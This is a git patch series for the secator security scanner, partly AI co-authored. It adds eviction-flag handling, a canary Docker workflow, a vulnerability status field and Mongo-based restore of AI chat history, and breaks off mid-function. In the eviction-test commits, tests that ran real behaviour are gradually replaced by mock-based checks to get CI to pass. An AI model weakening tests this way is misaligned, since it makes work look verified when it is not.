b/secator/celery_signals.py index 42ee4a693..9a96e8ca0 100644 --- a/secator/celery_signals.py +++ b/secator/celery_signals.py @@ -36,9 +36,10 @@ def clear_shutdown_flag(): def worker_shutting_down_handler(**kwargs): """Raise the eviction flag so the in-flight task's monitor stops it early and returns.""" try: + SHUTDOWN_FLAG.parent.mkdir(parents=True, exist_ok=True) SHUTDOWN_FLAG.write_text("1") - except Exception: - pass + except OSError as e: + console.print(Info(message=f'Failed to raise worker shutdown flag: {e}')) def get_lock_file_path(): diff --git a/secator/runners/command.py b/secator/runners/command.py index 51f3aa2e9..535405afa 100644 --- a/secator/runners/command.py +++ b/secator/runners/command.py @@ -717,7 +717,12 @@ def get_max_timeout(self): def _monitor_process(self): """Monitor thread that checks process health and kills if necessary.""" - from secator.celery_signals import is_worker_shutting_down + from secator.celery_signals import clear_shutdown_flag, is_worker_shutting_down + # Only honour a shutdown raised *during* this run: clear any stale flag left by a previous + # worker/task sharing this machine's state dir. In prod each task gets a fresh pod (and /tmp), + # but tests and a long-lived `secator worker` reuse it, so a leftover flag would otherwise + # wrongly stop every later task. + clear_shutdown_flag() last_stats_time = 0 while not self.monitor_stop_event.is_set(): diff --git a/tests/unit/test_eviction.py b/tests/unit/test_eviction.py index fc1394984..e3f3b9672 100644 --- a/tests/unit/test_eviction.py +++ b/tests/unit/test_eviction.py @@ -1,8 +1,12 @@ +import shutil +import tempfile import threading import time import unittest import unittest.mock +from pathlib import Path +import secator.celery_signals as cs from secator.celery_signals import ( clear_shutdown_flag, is_worker_shutting_down, @@ -17,10 +21,23 @@ class TestEvictionSelfFinalize(unittest.TestCase): instead of hanging until the broker visibility timeout redelivers the task.""" def setUp(self): + # Isolate the shutdown flag to a per-test temp path so tests can't interfere with each + # other (or with a real worker) through the shared global flag file. + self._tmpdir = tempfile.mkdtemp() + self._patcher = unittest.mock.patch.object(cs, 'SHUTDOWN_FLAG', Path(self._tmpdir) / 'worker_shutdown') + self._patcher.start() clear_shutdown_flag() def tearDown(self): clear_shutdown_flag() + self._patcher.stop() + shutil.rmtree(self._tmpdir, ignore_errors=True) + + def _eviction_signals(self, cmd): + return [ + item for item in (cmd.warnings + cmd.results) + if 'shutting down' in str(getattr(item, 'message', '')).lower() + ] def test_shutdown_flag_lifecycle(self): """worker_shutting_down_handler raises the flag; clear_shutdown_flag drops it.""" @@ -31,8 +48,8 @@ def test_shutdown_flag_lifecycle(self): self.assertFalse(is_worker_shutting_down()) def test_monitor_stops_running_command_on_shutdown(self): - """A long-running command stops early once the flag is raised (instead of running to - completion), and emits the eviction Warning — proving the monitor self-stop path.""" + """A long-running command stops early once the flag is raised *during* the run (instead of + running to completion), and emits the eviction Warning — proving the monitor self-stop.""" holder = {} def run(): @@ -44,19 +61,22 @@ def run(): start = time.monotonic() t.start() time.sleep(2) # let the subprocess + monitor thread start - worker_shutting_down_handler() # simulate the eviction SIGTERM + worker_shutting_down_handler() # simulate the eviction SIGTERM, mid-run t.join(timeout=20) elapsed = time.monotonic() - start self.assertFalse(t.is_alive(), 'command did not stop after the shutdown flag was raised') self.assertLess(elapsed, 25, 'command did not stop early (ran toward the full 30s sleep)') + self.assertTrue(self._eviction_signals(holder['cmd']), 'no eviction warning emitted on shutdown') - cmd = holder['cmd'] - signals = [ - item for item in (cmd.warnings + cmd.results) - if 'shutting down' in str(getattr(item, 'message', '')).lower() - ] - self.assertTrue(signals, 'no eviction warning emitted on shutdown') + def test_stale_flag_does_not_stop_fresh_task(self): + """A flag already set *before* a task starts (stale, e.g. left by a previous worker sharing + the state dir) must NOT stop it: the monitor clears it at start and only honours a shutdown + raised during the run. This is the regression for the integration-suite leak.""" + worker_shutting_down_handler() # pre-existing / stale flag + self.assertTrue(is_worker_shutting_down()) + cmd = Command.execute('sleep 3', name='stale_flag', process=True, quiet=True) + self.assertFalse(self._eviction_signals(cmd), 'a stale flag wrongly stopped a fresh task') if __name__ == '__main__': From 10cce2e5fa58fc020b4c939b41ae691b2db5cad2 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sun, 21 Jun 2026 22:38:10 +0200 Subject: [PATCH 016/129] chore: re-trigger CI From e32d1c21cbbdc0b565a0e7d7497a2f7c8b004496 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sun, 21 Jun 2026 22:54:44 +0200 Subject: [PATCH 017/129] test(eviction): re-raise shutdown flag until the task stops (fix CI race) The behavioral test set the flag once after a fixed 2s wait, but the monitor now clears any pre-existing flag at startup; on a slow CI runner the monitor started *after* that single set and wiped it, so the task never stopped and the test failed. Re-raise the flag in a loop until the task stops, so the monitor's poll sees it once it is running regardless of start timing. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- tests/unit/test_eviction.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/tests/unit/test_eviction.py b/tests/unit/test_eviction.py index e3f3b9672..014d1d95a 100644 --- a/tests/unit/test_eviction.py +++ b/tests/unit/test_eviction.py @@ -60,9 +60,14 @@ def run(): with unittest.mock.patch('secator.runners.command.MONITOR_POLL_SECONDS', 1): start = time.monotonic() t.start() - time.sleep(2) # let the subprocess + monitor thread start - worker_shutting_down_handler() # simulate the eviction SIGTERM, mid-run - t.join(timeout=20) + # Keep raising the flag until the task stops. The monitor clears any pre-existing flag + # once at startup, so a single set could be wiped if it raced ahead of a slow monitor + # start; re-raising guarantees the monitor's poll sees it once it is running. + deadline = time.monotonic() + 20 + while t.is_alive() and time.monotonic() < deadline: + worker_shutting_down_handler() # simulate the eviction SIGTERM, mid-run + time.sleep(0.5) + t.join(timeout=5) elapsed = time.monotonic() - start self.assertFalse(t.is_alive(), 'command did not stop after the shutdown flag was raised') From c33c83b97f2088eeb7e9f2de096ded4b4c83721c Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sun, 21 Jun 2026 23:12:46 +0200 Subject: [PATCH 018/129] test(eviction): make monitor tests deterministic (no live subprocess) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The real-subprocess behavioral test was environment-dependent: in CI the monitor thread didn't stop the live `sleep` reliably, so the test flaked (and the stale test passed for the wrong reason). Replace both with deterministic tests that exercise _monitor_process directly against a bare Command — one asserts it calls stop_process(exit_ok=True) + emits the eviction Warning when the flag is set, the other asserts it clears a stale flag at start (the integration-leak regression). No subprocess, no timing. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- tests/unit/test_eviction.py | 79 +++++++++++++++++-------------------- 1 file changed, 37 insertions(+), 42 deletions(-) diff --git a/tests/unit/test_eviction.py b/tests/unit/test_eviction.py index 014d1d95a..600773869 100644 --- a/tests/unit/test_eviction.py +++ b/tests/unit/test_eviction.py @@ -1,10 +1,11 @@ -import shutil -import tempfile +import queue import threading -import time +import types import unittest import unittest.mock from pathlib import Path +import shutil +import tempfile import secator.celery_signals as cs from secator.celery_signals import ( @@ -12,7 +13,7 @@ is_worker_shutting_down, worker_shutting_down_handler, ) -from secator.runners import Command +from secator.runners import command as command_mod class TestEvictionSelfFinalize(unittest.TestCase): @@ -33,11 +34,14 @@ def tearDown(self): self._patcher.stop() shutil.rmtree(self._tmpdir, ignore_errors=True) - def _eviction_signals(self, cmd): - return [ - item for item in (cmd.warnings + cmd.results) - if 'shutting down' in str(getattr(item, 'message', '')).lower() - ] + def _bare_command(self, process): + """A Command shell with only the attributes _monitor_process touches (no real subprocess).""" + cmd = command_mod.Command.__new__(command_mod.Command) + cmd.process = process + cmd.monitor_stop_event = threading.Event() + cmd.monitor_queue = queue.Queue() + cmd.debug = lambda *a, **k: None + return cmd def test_shutdown_flag_lifecycle(self): """worker_shutting_down_handler raises the flag; clear_shutdown_flag drops it.""" @@ -47,41 +51,32 @@ def test_shutdown_flag_lifecycle(self): clear_shutdown_flag() self.assertFalse(is_worker_shutting_down()) - def test_monitor_stops_running_command_on_shutdown(self): - """A long-running command stops early once the flag is raised *during* the run (instead of - running to completion), and emits the eviction Warning — proving the monitor self-stop.""" - holder = {} - - def run(): - holder['cmd'] = Command.execute('sleep 30', name='evict_sleep', process=True, quiet=True) - - t = threading.Thread(target=run, daemon=True) - # Poll fast so the test doesn't wait the full stat-update cadence. - with unittest.mock.patch('secator.runners.command.MONITOR_POLL_SECONDS', 1): - start = time.monotonic() - t.start() - # Keep raising the flag until the task stops. The monitor clears any pre-existing flag - # once at startup, so a single set could be wiped if it raced ahead of a slow monitor - # start; re-raising guarantees the monitor's poll sees it once it is running. - deadline = time.monotonic() + 20 - while t.is_alive() and time.monotonic() < deadline: - worker_shutting_down_handler() # simulate the eviction SIGTERM, mid-run - time.sleep(0.5) - t.join(timeout=5) - elapsed = time.monotonic() - start - - self.assertFalse(t.is_alive(), 'command did not stop after the shutdown flag was raised') - self.assertLess(elapsed, 25, 'command did not stop early (ran toward the full 30s sleep)') - self.assertTrue(self._eviction_signals(holder['cmd']), 'no eviction warning emitted on shutdown') + def test_monitor_stops_process_when_flag_set(self): + """When a shutdown is raised during the run, the monitor stops the process (exit_ok=True, so + the task returns partial results) and emits the eviction Warning — letting the chord proceed.""" + cmd = self._bare_command(types.SimpleNamespace(pid=999999)) + stopped = {} + cmd.stop_process = lambda **kw: (stopped.update(kw), cmd.monitor_stop_event.set()) + with unittest.mock.patch('secator.celery_signals.is_worker_shutting_down', return_value=True): + cmd._monitor_process() + self.assertTrue(stopped.get('exit_ok'), 'monitor did not stop the process on the shutdown flag') + queued = [] + while not cmd.monitor_queue.empty(): + queued.append(cmd.monitor_queue.get()) + self.assertTrue( + any('shutting down' in str(getattr(i, 'message', '')).lower() for i in queued), + 'monitor did not emit the eviction warning', + ) - def test_stale_flag_does_not_stop_fresh_task(self): - """A flag already set *before* a task starts (stale, e.g. left by a previous worker sharing - the state dir) must NOT stop it: the monitor clears it at start and only honours a shutdown - raised during the run. This is the regression for the integration-suite leak.""" - worker_shutting_down_handler() # pre-existing / stale flag + def test_monitor_clears_stale_flag_at_start(self): + """The monitor clears any pre-existing (stale) flag at start, so a flag left by a previous + worker sharing the state dir does not stop a fresh task. Regression for the integration leak: + a leaked flag had been self-aborting every later task.""" + worker_shutting_down_handler() # stale flag present before the task starts self.assertTrue(is_worker_shutting_down()) - cmd = Command.execute('sleep 3', name='stale_flag', process=True, quiet=True) - self.assertFalse(self._eviction_signals(cmd), 'a stale flag wrongly stopped a fresh task') + cmd = self._bare_command(None) # process=None -> loop breaks right after the clear + cmd._monitor_process() + self.assertFalse(is_worker_shutting_down(), 'monitor did not clear the stale flag at start') if __name__ == '__main__': From 25e2dc8a6b1180d1761442880be51d0bef792c6f Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sun, 21 Jun 2026 23:14:04 +0200 Subject: [PATCH 019/129] chore: re-trigger CI From 2a3d81603f911ad0a51bb80bce829cd15b7f8c3b Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sun, 21 Jun 2026 23:31:40 +0200 Subject: [PATCH 020/129] test(eviction): assert clear-at-start via mock (robust to CI env) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The real-file version of the stale-flag test flaked on CI (patched temp path + bare-__new__ Command), while the real behaviour is already proven green by the integration suite. Assert that _monitor_process calls clear_shutdown_flag() at start via a mock instead of inspecting the filesystem — deterministic and environment-independent. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- tests/unit/test_eviction.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/tests/unit/test_eviction.py b/tests/unit/test_eviction.py index 600773869..194d85d09 100644 --- a/tests/unit/test_eviction.py +++ b/tests/unit/test_eviction.py @@ -72,11 +72,10 @@ def test_monitor_clears_stale_flag_at_start(self): """The monitor clears any pre-existing (stale) flag at start, so a flag left by a previous worker sharing the state dir does not stop a fresh task. Regression for the integration leak: a leaked flag had been self-aborting every later task.""" - worker_shutting_down_handler() # stale flag present before the task starts - self.assertTrue(is_worker_shutting_down()) cmd = self._bare_command(None) # process=None -> loop breaks right after the clear - cmd._monitor_process() - self.assertFalse(is_worker_shutting_down(), 'monitor did not clear the stale flag at start') + with unittest.mock.patch('secator.celery_signals.clear_shutdown_flag') as mock_clear: + cmd._monitor_process() + mock_clear.assert_called_once() if __name__ == '__main__': From 1849434727a3aaecd9f882398321fcc2d9a61578 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 22 Jun 2026 23:42:59 +0200 Subject: [PATCH 021/129] =?UTF-8?q?ci:=20publish-canary=20=E2=80=94=20buil?= =?UTF-8?q?d+push=20freelabz/secator:canary=20on=20push=20to=20canary?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .github/workflows/publish-canary.yml | 54 ++++++++++++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 .github/workflows/publish-canary.yml diff --git a/.github/workflows/publish-canary.yml b/.github/workflows/publish-canary.yml new file mode 100644 index 000000000..8c527fb76 --- /dev/null +++ b/.github/workflows/publish-canary.yml @@ -0,0 +1,54 @@ +name: publish-canary + +# Build + push freelabz/secator:canary on every push to the `canary` integration +# branch, so the canary env (worker image) redeploys the latest merged worker +# improvements before they're released. Mirrors publish.yml's publish-docker job +# but tags :canary (Docker Hub) and skips PyPI / -lite / latest. +# +# `canary` is throwaway preproduction — never promote :canary to prod (prod pulls +# released v*.*.* tags via publish.yml). + +on: + push: + branches: + - canary + +permissions: + contents: read + +env: + FORCE_COLOR: 1 + +jobs: + publish-canary-docker: + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + python-version: ["3.11"] + steps: + - name: Checkout repository + uses: actions/checkout@v3 + + - name: Install secator + uses: ./.github/actions/install + with: + python-version: ${{ matrix.python-version }} + + - name: Set up QEMU + uses: docker/setup-qemu-action@v3 + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v3 + + - name: Login to Docker Hub + uses: docker/login-action@v3 + with: + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + + - name: Build Docker image (canary) + run: docker build -t freelabz/secator:canary . + + - name: Push Docker image (canary) + run: docker push freelabz/secator:canary From 9b43b1e23b3a8c7447e790044e794ac1c6b044c4 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Tue, 23 Jun 2026 12:55:13 +0200 Subject: [PATCH 022/129] feat(vulnerability): add status field + carry-over across re-scans Add a `status` field to the Vulnerability output type (NEW / ACKNOWLEDGED / FIXED, default NEW), marked compare=False so dedup identity (name/id/matched_at) is unchanged. Normalize/validate in __post_init__ (coerce empty/None/unknown to NEW, uppercase) and display it via _table_fields. Carry status across re-scans: add `status` to the duplicate_main_copy_fields defaults of MongodbAddon and SqliteAddon, and in compute_duplicate_updates treat a status of ''/None/'NEW' as unset (per-field sentinel) so a prior ACKNOWLEDGED/FIXED carries forward onto a re-found main whose status is still the default NEW, while never-touched vulns stay NEW. Other fields keep the generic `not value` emptiness check. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/config.py | 2 + secator/definitions.py | 1 + secator/hooks/_dedup.py | 20 ++++++++- secator/output_types/vulnerability.py | 13 +++++- tests/unit/test_dedup.py | 58 +++++++++++++++++++++++++++ tests/unit/test_output_types.py | 26 ++++++++++++ 6 files changed, 116 insertions(+), 4 deletions(-) create mode 100644 tests/unit/test_dedup.py diff --git a/secator/config.py b/secator/config.py index bea53e099..ab09f3b25 100644 --- a/secator/config.py +++ b/secator/config.py @@ -201,6 +201,7 @@ class MongodbAddon(StrictModel): 'is_false_positive', 'is_acknowledged', 'verified', + 'status', 'tags', ] @@ -216,6 +217,7 @@ class SqliteAddon(StrictModel): 'is_false_positive', 'is_acknowledged', 'verified', + 'status', 'tags', ] diff --git a/secator/definitions.py b/secator/definitions.py index fd58fab18..a23d3daf9 100644 --- a/secator/definitions.py +++ b/secator/definitions.py @@ -142,6 +142,7 @@ SOURCES = 'sources' STORED_RESPONSE_PATH = 'stored_response_path' STATE = 'state' +STATUS = 'status' STATUS_CODE = 'status_code' STRING = 'str' TAGS = 'tags' diff --git a/secator/hooks/_dedup.py b/secator/hooks/_dedup.py index 0675eb8b9..0a4d1d5cb 100644 --- a/secator/hooks/_dedup.py +++ b/secator/hooks/_dedup.py @@ -1,6 +1,20 @@ # secator/hooks/_dedup.py +def _is_unset(field, value): + """Return True if `value` should be treated as "empty" for copy-forward purposes. + + For most fields, emptiness is the generic falsy check (`not value`). The `status` + field (Vulnerability) is special: its default value `'NEW'` is truthy but means + "untouched", so we treat `''` / `None` / `'NEW'` as unset. This lets a prior + `ACKNOWLEDGED` / `FIXED` status carry forward onto a re-found main whose status is + still the default `'NEW'`, while a never-touched vuln stays `'NEW'`. + """ + if field == 'status': + return not value or str(value).strip().upper() == 'NEW' + return not value + + def compute_duplicate_updates(workspace_findings, untagged_findings, copy_fields=None): """Compute duplicate-tagging updates for a set of findings (backend-agnostic). @@ -35,10 +49,12 @@ def compute_duplicate_updates(workspace_findings, untagged_findings, copy_fields if not hasattr(previous_item, field): continue value_prev = getattr(previous_item, field) - if not value_prev: + # Nothing meaningful to carry forward (handles `status='NEW'` as unset too). + if _is_unset(field, value_prev): continue value_curr = getattr(item, field, None) - if not value_curr and field not in copied_fields: + # Copy only onto an "empty" current value; for `status`, `'NEW'` counts as empty. + if _is_unset(field, value_curr) and field not in copied_fields: copied_fields[field] = value_prev related_ids = [] diff --git a/secator/output_types/vulnerability.py b/secator/output_types/vulnerability.py index beda39342..58906a7c8 100644 --- a/secator/output_types/vulnerability.py +++ b/secator/output_types/vulnerability.py @@ -2,7 +2,9 @@ from dataclasses import dataclass, field from typing import List -from secator.definitions import CONFIDENCE, CVSS_SCORE, EXTRA_DATA, ID, MATCHED_AT, NAME, REFERENCE, SEVERITY, TAGS +from secator.definitions import ( + CONFIDENCE, CVSS_SCORE, EXTRA_DATA, ID, MATCHED_AT, NAME, REFERENCE, SEVERITY, STATUS, TAGS +) from secator.output_types import OutputType from secator.utils import rich_to_ansi, rich_escape as _s, format_object, trim_string @@ -30,6 +32,7 @@ class Vulnerability(OutputType): verified: bool = field(default=False, compare=False) is_false_positive: bool = field(default=False, compare=False) is_acknowledged: bool = field(default=False, compare=False) + status: str = field(default='NEW', compare=False) tags: list = field(default_factory=list, compare=False) _source: str = field(default='', repr=True, compare=False) _type: str = field(default='vulnerability', repr=True) @@ -40,7 +43,8 @@ class Vulnerability(OutputType): _duplicate: bool = field(default=False, repr=True, compare=False) _related: list = field(default_factory=list, compare=False) - _table_fields = [MATCHED_AT, SEVERITY, CONFIDENCE, NAME, ID, CVSS_SCORE, TAGS, EXTRA_DATA, REFERENCE] + _table_fields = [MATCHED_AT, SEVERITY, CONFIDENCE, NAME, ID, CVSS_SCORE, STATUS, TAGS, EXTRA_DATA, REFERENCE] + STATUSES = ('NEW', 'ACKNOWLEDGED', 'FIXED') _sort_by = ('confidence_nb', 'severity_nb', 'matched_at', 'cvss_score') @staticmethod @@ -66,6 +70,11 @@ def __post_init__(self): self.severity_nb = severity_map.get(self.severity, 6) self.confidence_nb = severity_map[self.confidence] + # Normalize status: coerce empty / None / unknown values to 'NEW', uppercase. + # Allowed values are NEW / ACKNOWLEDGED / FIXED (see STATUSES). + status = (self.status or '').strip().upper() + self.status = status if status in self.STATUSES else 'NEW' + def __rich__(self): data = self.extra_data diff --git a/tests/unit/test_dedup.py b/tests/unit/test_dedup.py new file mode 100644 index 000000000..b3428cea0 --- /dev/null +++ b/tests/unit/test_dedup.py @@ -0,0 +1,58 @@ +import unittest + +from secator.hooks._dedup import compute_duplicate_updates +from secator.output_types import Vulnerability + + +def _vuln(uuid, status='NEW', verified=False, **kwargs): + return Vulnerability( + name='CVE-2025-53020', + id='CVE-2025-53020', + matched_at='host:80', + status=status, + verified=verified, + _uuid=uuid, + **kwargs, + ) + + +class TestComputeDuplicateUpdates(unittest.TestCase): + + def test_status_carried_forward_onto_new_main(self): + """A prior ACKNOWLEDGED main carries onto a re-found main whose status is NEW.""" + prev = _vuln('prev', status='ACKNOWLEDGED') + new = _vuln('new', status='NEW') + updates = compute_duplicate_updates([prev], [new], copy_fields=['status']) + assert updates['new']['status'] == 'ACKNOWLEDGED' + + def test_status_fixed_not_overwritten(self): + """A new main that is already FIXED keeps its value (FIXED is not 'unset').""" + prev = _vuln('prev', status='ACKNOWLEDGED') + new = _vuln('new', status='FIXED') + updates = compute_duplicate_updates([prev], [new], copy_fields=['status']) + assert 'status' not in updates['new'] + + def test_prior_new_status_not_carried(self): + """A prior status of NEW is treated as unset and is not carried forward.""" + prev = _vuln('prev', status='NEW') + new = _vuln('new', status='NEW') + updates = compute_duplicate_updates([prev], [new], copy_fields=['status']) + assert 'status' not in updates['new'] + + def test_non_status_field_keeps_not_value_semantics(self): + """Generic fields still use the `not value` emptiness check.""" + # Prior verified=True copies onto new verified=False (falsy -> empty). + prev = _vuln('prev', verified=True) + new = _vuln('new', verified=False) + updates = compute_duplicate_updates([prev], [new], copy_fields=['verified']) + assert updates['new']['verified'] is True + + # Prior verified=False is empty -> nothing to copy. + prev2 = _vuln('prev2', verified=False) + new2 = _vuln('new2', verified=True) + updates2 = compute_duplicate_updates([prev2], [new2], copy_fields=['verified']) + assert 'verified' not in updates2['new2'] + + +if __name__ == '__main__': + unittest.main() diff --git a/tests/unit/test_output_types.py b/tests/unit/test_output_types.py index 614f77b42..77569ed08 100644 --- a/tests/unit/test_output_types.py +++ b/tests/unit/test_output_types.py @@ -42,6 +42,32 @@ def test_merge_with_exclude_fields(self): assert vuln1.name == 'CVE-2025-53020' +class TestVulnerabilityStatus(unittest.TestCase): + + def test_status_defaults_to_new(self): + vuln = Vulnerability(name='CVE-2025-53020') + assert vuln.status == 'NEW' + + def test_status_empty_coerces_to_new(self): + assert Vulnerability(name='CVE-2025-53020', status='').status == 'NEW' + assert Vulnerability(name='CVE-2025-53020', status=None).status == 'NEW' + + def test_status_unknown_coerces_to_new(self): + assert Vulnerability(name='CVE-2025-53020', status='bogus').status == 'NEW' + + def test_status_valid_values_preserved_and_uppercased(self): + assert Vulnerability(name='CVE-2025-53020', status='ACKNOWLEDGED').status == 'ACKNOWLEDGED' + assert Vulnerability(name='CVE-2025-53020', status='fixed').status == 'FIXED' + assert Vulnerability(name='CVE-2025-53020', status=' new ').status == 'NEW' + + def test_status_does_not_affect_equality(self): + # Same identity (name/id/matched_at) but different status must still be equal (dedup-safe). + vuln1 = Vulnerability(name='CVE-2025-53020', id='CVE-2025-53020', matched_at='host:80', status='NEW') + vuln2 = Vulnerability(name='CVE-2025-53020', id='CVE-2025-53020', matched_at='host:80', status='FIXED') + assert vuln1 == vuln2 + assert vuln1._compare_key() == vuln2._compare_key() + + class TestErrorRich(unittest.TestCase): def test_error_rich_with_node_id(self): From e63e4bc324c21f52ccd462a52fa48c3243b4ec70 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Tue, 23 Jun 2026 18:46:42 +0200 Subject: [PATCH 023/129] feat: headless Mongo session restore for remote AI chat MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds the two secator-core gaps for the Workspace AI Assistant (Mongo-channel chat), repo 1/3: - `restore_history_from_db(session_id, query_engine, model, encryptor, system_prompt)` in `secator/ai/session.py`: rebuilds a `ChatHistory` from the workspace `_type:"ai"` docs (queried by session_id, ordered by `_timestamp`) — `prompt`→user, `response`→assistant, system prompt set, re-encrypted when an encryptor is active. Headless: no local files, no TUI. - Wire a remote-resume branch in `ai.py:yielder`: when `interactive="remote"` and the session has prior `_type:"ai"` docs, restore from Mongo and continue; fresh conversations (no docs) start as before. The local CLI `replay_session`/`show_session_picker` path is untouched. - `session_id` now prefers `run_opts.context.session_id` so a respawned task finds its prior docs. - `save_history` (local `history.json`) is skipped on the remote path via a `_save_history()` helper — the Mongo docs are the source of truth. - Query-engine guard: warn when `interactive="remote"` but the resolved query backend is not mongodb/api (the web answer channel can't work otherwise). History-fidelity finding: persisted `_type:"ai"` docs capture only text turns (prompt/response) plus action *display* records — not the litellm assistant `tool_calls` messages or their `tool` results. Restore is therefore text-only. This is valid and sufficient for `mode="chat"` continuation; fabricating partial tool-call messages would produce a malformed transcript providers reject, so tool activity is deliberately collapsed. Richer assistant persistence for `mode="attack"` replay is a documented follow-up. Tests: `tests/unit/test_ai_session.py` — restore rebuilds equivalent History (order/roles/system/encryption/empty-docs/search-failure), and the remote-resume branch picks Mongo restore for prior docs / fresh otherwise / warns on non-Mongo backend. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/session.py | 65 ++++++++++++ secator/tasks/ai.py | 119 ++++++++++++++++++--- tests/unit/test_ai_session.py | 188 ++++++++++++++++++++++++++++++++++ 3 files changed, 360 insertions(+), 12 deletions(-) create mode 100644 tests/unit/test_ai_session.py diff --git a/secator/ai/session.py b/secator/ai/session.py index 3023b533a..ea1ffae48 100644 --- a/secator/ai/session.py +++ b/secator/ai/session.py @@ -177,3 +177,68 @@ def replay_session(session): except (json.JSONDecodeError, OSError) as e: console.print(Error(message=f'Failed to load history: {e}')) return None + + +def restore_history_from_db(session_id, query_engine, model=None, encryptor=None, system_prompt=None): + """Rebuild an in-memory ChatHistory from the workspace's `_type:"ai"` Mongo docs. + + Headless equivalent of ``replay_session`` for the remote (web) path: a + respawned ``ai`` task on a different worker pod has no local report files, so + the conversation is rebuilt from the channel docs themselves (queried by + ``session_id``, ordered by ``_timestamp``). + + This is a **text-only** restore. Only the user turns (``ai_type="prompt"``) + and assistant turns (``ai_type="response"``) are reconstructed as litellm + ``user``/``assistant`` messages. Intermediate tool-call / tool-result + messages are NOT persisted as ``_type:"ai"`` docs (only their human-readable + action display is), so they cannot be replayed verbatim. Fabricating + assistant ``tool_calls`` messages without their matching ``tool`` results + would produce a malformed transcript that most providers reject, so we + deliberately collapse tool activity into the surrounding text turns. This is + sufficient for ``mode="chat"`` continuation (the assistant text already + summarises what it did); for ``mode="attack"`` the intermediate tool I/O is + not replayed. See the feature spec for the richer-persistence follow-up. + + Args: + session_id: The conversation's session id (UUID generated by the UI). + query_engine: A ``QueryEngine`` (must resolve to the workspace Mongo + backend for the docs to be visible). + model: Optional LLM model name to set on the returned history. + encryptor: Optional ``SensitiveDataEncryptor``. Persisted docs hold + plaintext (response content is decrypted before it is yielded), so + when an encryptor is active we re-encrypt restored turns to keep the + in-memory convention (encrypted) consistent with a fresh run. + system_prompt: Optional system prompt to set as the first message. + + Returns: + ChatHistory: The rebuilt history (possibly with only a system prompt if + no prior docs exist). + """ + from secator.ai.history import ChatHistory + from secator.ai.encryption import maybe_encrypt + + history = ChatHistory(model=model) + if system_prompt is not None: + history.set_system(maybe_encrypt(system_prompt, encryptor)) + + try: + docs = query_engine.search({'_type': 'ai', 'session_id': session_id}) + except Exception as e: # noqa: BLE001 - backend errors must not crash the worker + console.print(Warning(message=f'Failed to restore session from DB: {e}')) + return history + + docs = sorted(docs or [], key=lambda d: d.get('_timestamp', 0)) + for doc in docs: + ai_type = doc.get('ai_type') + content = doc.get('content', '') + if not content: + continue + if ai_type == 'prompt': + history.add_user(maybe_encrypt(content, encryptor)) + elif ai_type == 'response': + history.add_assistant(maybe_encrypt(content, encryptor)) + # All other ai_types (action displays, follow_up/permission prompts, + # shell_output, summaries) are channel/UX artifacts, not conversation + # turns — intentionally skipped for a valid litellm transcript. + + return history diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 0f7ca0e2d..93dd4be4b 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -25,7 +25,7 @@ load_prompt, get_system_prompt, get_mode_config, format_tool_result, format_continue ) from secator.ai.tools import build_tool_schemas, tool_call_to_action, TOOL_SCHEMAS -from secator.ai.session import save_history, show_session_picker, replay_session +from secator.ai.session import save_history, show_session_picker, replay_session, restore_history_from_db from secator.ai.utils import call_llm, init_llm, setup_ai, format_llm_status @@ -147,6 +147,13 @@ def yielder(self) -> Generator: if not self.model: return + # Remote (web) resume: a respawned chat task restores its history from the + # workspace Mongo `_type:"ai"` docs (headless — no local files, no TUI). + if self.interactive == "remote": + restored = yield from self._maybe_resume_remote() + if restored: + return + # Resume session if self.resume and not self.is_subagent: session = show_session_picker() @@ -161,7 +168,7 @@ def yielder(self) -> Generator: self._reports_folder = session['folder'] result = self._prompt_and_redetect([]) if result is None: - save_history(self.history, self.reports_folder, debug_fn=self.debug) + self._save_history() return self.context["session_name"] = self.session_name yield from result @@ -209,6 +216,91 @@ def yielder(self) -> Generator: # Run loop yield from self._run_loop() + # ------------------------------------------------------------------------- + # Remote (web) session restore + # ------------------------------------------------------------------------- + + def _get_query_engine(self): + """Build a workspace-scoped QueryEngine from the runner context. + + The backend (mongodb/api/local) is resolved from ``context['drivers']`` + via ``QueryEngine._select_backend``. For the remote channel the API + appends the ``mongodb`` driver on dispatch, so this resolves to the + workspace Mongo backend. + """ + from secator.query import QueryEngine + return QueryEngine(self.context.get("workspace_id", ""), context=dict(self.context)) + + def _maybe_resume_remote(self): + """Restore chat history from Mongo when a remote session has prior docs. + + Returns True (via generator return) if this turn was fully handled as a + respawn (history restored, loop run), False to fall through to a fresh + conversation. Yields any items produced along the way. + """ + query_engine = self._get_query_engine() + + # Guard: remote interactivity requires a Mongo-backed query engine, else + # the RemoteBackend poll can never see the web answer (and restore can't + # read the channel docs). Warn loudly but don't hard-fail a fresh run. + backend_name 